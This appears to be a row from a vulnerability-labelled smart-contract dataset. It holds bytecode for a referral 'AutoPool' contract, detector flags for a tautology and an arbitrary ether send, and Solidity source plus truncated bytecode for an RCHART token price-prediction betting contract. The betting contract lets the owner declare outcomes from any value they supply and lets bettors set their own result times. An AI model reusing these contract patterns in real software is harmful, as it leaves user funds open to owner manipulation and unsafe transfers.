ffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615614b54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6038543414614bcb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614c84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b614c8c6157bc565b6000602c6000601554815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600b600081548092919060010191905055506040518060600160405280600115158152602001600b5481526020016000815250915081602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602c6000600b54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6038549081150290604051600060405180830381858888f1935050505090508015614f27576001602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254019250508190555061012c602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410614eb85760016015600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600a42604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600a42604051808381526020018281526020019250505060405180910390a2505050565b60075481565b602b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16615082576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615615145576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60335434146151bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015615275576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61527d6157bc565b600060226000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600660008154809291906001019190505550604051806060016040528060011515815260200160065481526020016000815250915081602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360226000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6033549081150290604051600060405180830381858888f1935050505090508015615517576001602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506006602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106154a85760016010600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600542604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600542604051808381526020018281526020019250505060405180910390a2505050565b60115481565b600060186000601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600080905060008090506004851115615610576016549050615627565b602d60008681526020019081526020016000205490505b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505091508115615745573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa61208742604051808381526020018281526020019250505060405180910390a360328510801561572457506001601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410155b1561573b576157366001860184615579565b615744565b61574361575c565b5b5b81615755576157548584615579565b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61579f613151565b9081150290604051600060405180830381858888f1935050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fe557365204f6e6c79204944203120417320612047656e6572616c20526566657272616c204944a2646970667358221220f9040f7b14b9b7f9f00a0126dea9ab9124a422682041ed0b7264015fa09798d864736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,279 |
0x05ecc2BC49232905698f729FFAb51653f7B80Cd8
|
/**
*Submitted for verification at Etherscan.io on 2021-05-20
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: No License
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract RCHARTpredictionV1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
/*
participanta[i] = [
0 => user staked,
1 => amount staked,
2 => result time,
3 => prediction time,
4 => market pair,
5 => value predicted at,
6 => result value,
7 => prediction type 0 => Down, 1 => up ,
8 => result , 0 => Pending , 2 => Lost, 1 => Won, 3 => Withdrawn
]
*/
// RCHART token contract address
address public constant tokenAddress = 0xE63d7A762eF855114dc45c94e66365D163B3E5F6;
// Lost token contract address
address public constant lossPool = 0x639d0AFE157Fbb367084fc4b5c887725112148F9;
// mapping(address => uint[]) internal participants;
struct Prediction {
address user;
uint betAmount;
uint resultTime;
uint betTime;
uint marketPair;
uint marketType;
uint valuePredictedAt;
uint valueResult;
uint predictionType;
uint result;
bool exists;
}
mapping(uint => Prediction) predictions;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public totalClaimedTokens;
mapping (address => uint) public totalAvailableRewards;
mapping (address => uint) public totalPoints;
mapping (address => uint) public totalStaked;
event PredictionMade(address indexed user, uint matchid);
event PointsEarned(address indexed user, uint indexed time , uint score);
event RewardsTransferred(address indexed user, uint amount);
event ResultDeclared(address indexed user, uint matchID);
uint public payoutPercentage = 6500 ;
uint public expresultime = 24 hours;
uint public maximumToken = 5e18 ;
uint public minimumToken = 1e17 ;
uint public totalClaimedRewards = 0;
uint public scorePrdzEq = 50 ;
uint[] public matches;
function getallmatches() view public returns (uint[] memory){
return matches;
}
function predict(uint matchID , uint amountToPredict, uint resultTime, uint predictedtime, uint marketPair, uint valuePredictedAt, uint predictionType,uint marketType) public returns (uint) {
require(amountToPredict >= minimumToken && amountToPredict <= maximumToken, "Cannot predict with 0 Tokens");
require(resultTime > predictedtime, "Cannot predict at the time of result");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToPredict), "Insufficient Token Allowance");
require(predictions[matchID].exists != true , "Match already Exists" );
Prediction storage newprediction = predictions[matchID];
newprediction.user = msg.sender;
newprediction.betAmount = amountToPredict;
newprediction.resultTime = resultTime ;
newprediction.betTime = predictedtime;
newprediction.marketPair = marketPair ;
newprediction.marketType = marketType ;
newprediction.valuePredictedAt = valuePredictedAt ;
newprediction.valueResult = 0 ;
newprediction.predictionType = predictionType ;
newprediction.result = 0 ;
newprediction.exists = true ;
matches.push(matchID) ;
totalPoints[msg.sender] = totalPoints[msg.sender].add(amountToPredict.mul(scorePrdzEq).div(1e18));
emit PointsEarned(msg.sender, now , amountToPredict.mul(scorePrdzEq).div(1e18));
totalStaked[msg.sender] = totalStaked[msg.sender].add(amountToPredict) ;
emit PredictionMade(msg.sender, matchID);
}
function declareresult(uint curMarketValue , uint matchID ) public onlyOwner returns (bool) {
Prediction storage eachparticipant = predictions[matchID];
if(eachparticipant.resultTime <= now && eachparticipant.result == 0 && curMarketValue > 0 ){
/* When User Predicted Up && Result is Up */
if(eachparticipant.valuePredictedAt < curMarketValue && eachparticipant.predictionType == 1 ){
eachparticipant.result = 1 ;
eachparticipant.valueResult = curMarketValue ;
uint reward = eachparticipant.betAmount.mul(payoutPercentage).div(1e4);
totalEarnedTokens[eachparticipant.user] = totalEarnedTokens[eachparticipant.user].add(eachparticipant.betAmount).add(reward);
totalAvailableRewards[eachparticipant.user] = totalAvailableRewards[eachparticipant.user].add(eachparticipant.betAmount).add(reward);
}
/* When User Predicted Up && Result is Down */
if(eachparticipant.valuePredictedAt > curMarketValue && eachparticipant.predictionType == 1 ){
eachparticipant.result = 2 ;
eachparticipant.valueResult = curMarketValue ;
Token(tokenAddress).transfer(lossPool, eachparticipant.betAmount);
}
/* When User Predicted Down && Result is Up */
if(eachparticipant.valuePredictedAt < curMarketValue && eachparticipant.predictionType == 0 ){
eachparticipant.result = 2 ;
eachparticipant.valueResult = curMarketValue ;
Token(tokenAddress).transfer(lossPool, eachparticipant.betAmount);
}
/* When User Predicted Down && Result is Down */
if(eachparticipant.valuePredictedAt > curMarketValue && eachparticipant.predictionType == 0 ){
eachparticipant.result = 1 ;
eachparticipant.valueResult = curMarketValue ;
uint reward = eachparticipant.betAmount.mul(payoutPercentage).div(1e4);
totalEarnedTokens[eachparticipant.user] = totalEarnedTokens[eachparticipant.user].add(eachparticipant.betAmount).add(reward);
totalAvailableRewards[eachparticipant.user] = totalAvailableRewards[eachparticipant.user].add(eachparticipant.betAmount).add(reward);
}
emit ResultDeclared(msg.sender, matchID);
}
return true ;
}
function getmatchBasic(uint _matchID ) view public returns (address , uint , uint , uint , uint ) {
return (predictions[_matchID].user , predictions[_matchID].betAmount , predictions[_matchID].resultTime , predictions[_matchID].betTime , predictions[_matchID].marketPair );
}
function getmatchAdv(uint _matchID ) view public returns (uint , uint , uint , uint , uint , bool ) {
return (predictions[_matchID].marketType , predictions[_matchID].valuePredictedAt, predictions[_matchID].valueResult, predictions[_matchID].predictionType , predictions[_matchID].result , predictions[_matchID].exists );
}
function withdrawNotExecutedResult(uint _matchID)
public
returns (bool) {
if(predictions[_matchID].result == 0 && predictions[_matchID].user == msg.sender && now.sub(predictions[_matchID].resultTime) > expresultime){
Prediction storage eachparticipant = predictions[_matchID];
eachparticipant.result = 3 ;
Token(tokenAddress).transfer(predictions[_matchID].user, predictions[_matchID].betAmount);
}
return true ;
}
function addContractBalance(uint amount) public {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
}
function addScore(uint score, uint amount, address _holder)
public
onlyOwner
returns (bool) {
totalPoints[_holder] = totalPoints[_holder].add(score);
totalStaked[_holder] = totalStaked[_holder].add(amount);
return true ;
}
function updateMaximum(uint amount)
public
onlyOwner
returns (bool) {
maximumToken = amount;
return true ;
}
function updateMinimum(uint amount)
public
onlyOwner
returns (bool) {
minimumToken = amount;
return true ;
}
function updatePayout(uint percentage)
public
onlyOwner
returns (bool) {
payoutPercentage = percentage;
return true ;
}
function updateScoreEq(uint prdzeq)
public
onlyOwner
returns (bool) {
scorePrdzEq = prdzeq;
return true ;
}
function updateAccount(address account) private {
uint pendingDivs = totalAvailableRewards[account];
if (pendingDivs > 0 ) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalClaimedTokens[account] = totalClaimedTokens[account].add(pendingDivs);
totalAvailableRewards[account] = 0 ;
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80638da5cb5b11610104578063b8d5b7f0116100a2578063d578ceab11610071578063d578ceab1461086f578063f2fde38b1461088d578063f739455b146108d1578063fb29dafb14610929576101cf565b8063b8d5b7f01461071d578063bb16efc01461073b578063c2cd0991146107a2578063c80893961461082b576101cf565b80639d76ea58116100de5780639d76ea58146105f8578063a6120fd51461062c578063aa59ed9d1461067a578063ad1a755c146106d9576101cf565b80638da5cb5b1461054e57806394ac5818146105825780639bfd8d61146105a0576101cf565b80635441eb5a116101715780636270cd181161014b5780636270cd18146104605780636671459b146104b8578063672ee26b146104ec5780637b61c07614610530576101cf565b80635441eb5a1461036057806358a7172b146103d45780635abeffe2146103f2576101cf565b8063290ee5c9116101ad578063290ee5c91461028e578063387f55e1146102ac578063452b4cfc146102f05780634768d4ef1461031e576101cf565b80630fac9100146101d457806319aa70e71461022c5780631afecb9714610236575b600080fd5b610216600480360360208110156101ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061096d565b6040518082815260200191505060405180910390f35b610234610985565b005b6102786004803603602081101561024c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b6040518082815260200191505060405180910390f35b6102966109a8565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b81019080803590602001909291905050506109ae565b60405180821515815260200191505060405180910390f35b61031c6004803603602081101561030657600080fd5b8101908080359060200190929190505050610a19565b005b61034a6004803603602081101561033457600080fd5b8101908080359060200190929190505050610b6c565b6040518082815260200191505060405180910390f35b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050610b8d565b604051808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6103dc610c3b565b6040518082815260200191505060405180910390f35b6104486004803603606081101561040857600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c41565b60405180821515815260200191505060405180910390f35b6104a26004803603602081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd1565b6040518082815260200191505060405180910390f35b6104c0610de9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105186004803603602081101561050257600080fd5b8101908080359060200190929190505050610e01565b60405180821515815260200191505060405180910390f35b610538610ffc565b6040518082815260200191505060405180910390f35b610556611002565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61058a611026565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102c565b6040518082815260200191505060405180910390f35b610600611044565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106626004803603604081101561064257600080fd5b81019080803590602001909291908035906020019092919050505061105c565b60405180821515815260200191505060405180910390f35b6106826117f3565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106c55780820151818401526020810190506106aa565b505050509050019250505060405180910390f35b610705600480360360208110156106ef57600080fd5b810190808035906020019092919050505061184b565b60405180821515815260200191505060405180910390f35b6107256118b6565b6040518082815260200191505060405180910390f35b6107676004803603602081101561075157600080fd5b81019080803590602001909291905050506118bc565b604051808781526020018681526020018581526020018481526020018381526020018215158152602001965050505050505060405180910390f35b61081560048036036101008110156107b957600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611971565b6040518082815260200191505060405180910390f35b6108576004803603602081101561084157600080fd5b8101908080359060200190929190505050611f62565b60405180821515815260200191505060405180910390f35b610877611fcd565b6040518082815260200191505060405180910390f35b6108cf600480360360208110156108a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fd3565b005b610913600480360360208110156108e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612122565b6040518082815260200191505060405180910390f35b6109556004803603602081101561093f57600080fd5b810190808035906020019092919050505061213a565b60405180821515815260200191505060405180910390f35b60056020528060005260406000206000915090505481565b61098e336121a5565b565b60036020528060005260406000206000915090505481565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0957600080fd5b81600a8190555060019050919050565b73e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610abc57600080fd5b505af1158015610ad0573d6000803e3d6000fd5b505050506040513d6020811015610ae657600080fd5b8101908080519060200190929190505050610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b50565b600d8181548110610b7957fe5b906000526020600020016000915090505481565b60008060008060006001600087815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016000888152602001908152602001600020600101546001600089815260200190815260200160002060020154600160008a815260200190815260200160002060030154600160008b8152602001908152602001600020600401549450945094509450945091939590929450565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9c57600080fd5b610cee84600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8383600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b60026020528060005260406000206000915090505481565b73639d0afe157fbb367084fc4b5c887725112148f981565b6000806001600084815260200190815260200160002060090154148015610e8957503373ffffffffffffffffffffffffffffffffffffffff166001600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610ebe5750600854610ebc60016000858152602001908152602001600020600201544261248890919063ffffffff16565b115b15610ff35760006001600084815260200190815260200160002090506003816009018190555073e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6001600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016000878152602001908152602001600020600101546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610fb557600080fd5b505af1158015610fc9573d6000803e3d6000fd5b505050506040513d6020811015610fdf57600080fd5b810190808051906020019092919050505050505b60019050919050565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60066020528060005260406000206000915090505481565b73e63d7a762ef855114dc45c94e66365d163b3e5f681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b6000600160008481526020019081526020016000209050428160020154111580156110e6575060008160090154145b80156110f25750600084115b156117e85783816006015410801561110e575060018160080154145b1561133f57600181600901819055508381600701819055506000611155612710611147600754856001015461249f90919063ffffffff16565b6124ce90919063ffffffff16565b90506111e3816111d58460010154600260008760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b61246c90919063ffffffff16565b600260008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d6816112c88460010154600460008760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b61246c90919063ffffffff16565b600460008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b838160060154118015611356575060018160080154145b15611448576002816009018190555083816007018190555073e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb73639d0afe157fbb367084fc4b5c887725112148f983600101546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561140b57600080fd5b505af115801561141f573d6000803e3d6000fd5b505050506040513d602081101561143557600080fd5b8101908080519060200190929190505050505b83816006015410801561145f575060008160080154145b15611551576002816009018190555083816007018190555073e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb73639d0afe157fbb367084fc4b5c887725112148f983600101546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561151457600080fd5b505af1158015611528573d6000803e3d6000fd5b505050506040513d602081101561153e57600080fd5b8101908080519060200190929190505050505b838160060154118015611568575060008160080154145b15611799576001816009018190555083816007018190555060006115af6127106115a1600754856001015461249f90919063ffffffff16565b6124ce90919063ffffffff16565b905061163d8161162f8460010154600260008760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b61246c90919063ffffffff16565b600260008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611730816117228460010154600460008760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b61246c90919063ffffffff16565b600460008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b3373ffffffffffffffffffffffffffffffffffffffff167fcfd8f0702b86cad5cc6a873ac8db5ec7263c275a30345fd2305e67e53f82eee7846040518082815260200191505060405180910390a25b600191505092915050565b6060600d80548060200260200160405190810160405280929190818152602001828054801561184157602002820191906000526020600020905b81548152602001906001019080831161182d575b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a657600080fd5b8160078190555060019050919050565b60095481565b60008060008060008060016000888152602001908152602001600020600501546001600089815260200190815260200160002060060154600160008a815260200190815260200160002060070154600160008b815260200190815260200160002060080154600160008c815260200190815260200160002060090154600160008d8152602001908152602001600020600a0160009054906101000a900460ff1695509550955095509550955091939550919395565b6000600a54881015801561198757506009548811155b6119f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f43616e6e6f7420707265646963742077697468203020546f6b656e730000000081525060200191505060405180910390fd5b858711611a51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124e86024913960400191505060405180910390fd5b73e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff166323b872dd33308b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611af457600080fd5b505af1158015611b08573d6000803e3d6000fd5b505050506040513d6020811015611b1e57600080fd5b8101908080519060200190929190505050611ba1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b60011515600160008b8152602001908152602001600020600a0160009054906101000a900460ff1615151415611c3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d6174636820616c72656164792045786973747300000000000000000000000081525060200191505060405180910390fd5b6000600160008b81526020019081526020016000209050338160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508881600101819055508781600201819055508681600301819055508581600401819055508281600501819055508481600601819055506000816007018190555083816008018190555060008160090181905550600181600a0160006101000a81548160ff021916908315150217905550600d8a9080600181540180825580915050600190039060005260206000200160009091909190915055611db2611d64670de0b6b3a7640000611d56600c548d61249f90919063ffffffff16565b6124ce90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550423373ffffffffffffffffffffffffffffffffffffffff167f4b97a5e5e9b332836eea24e70b760c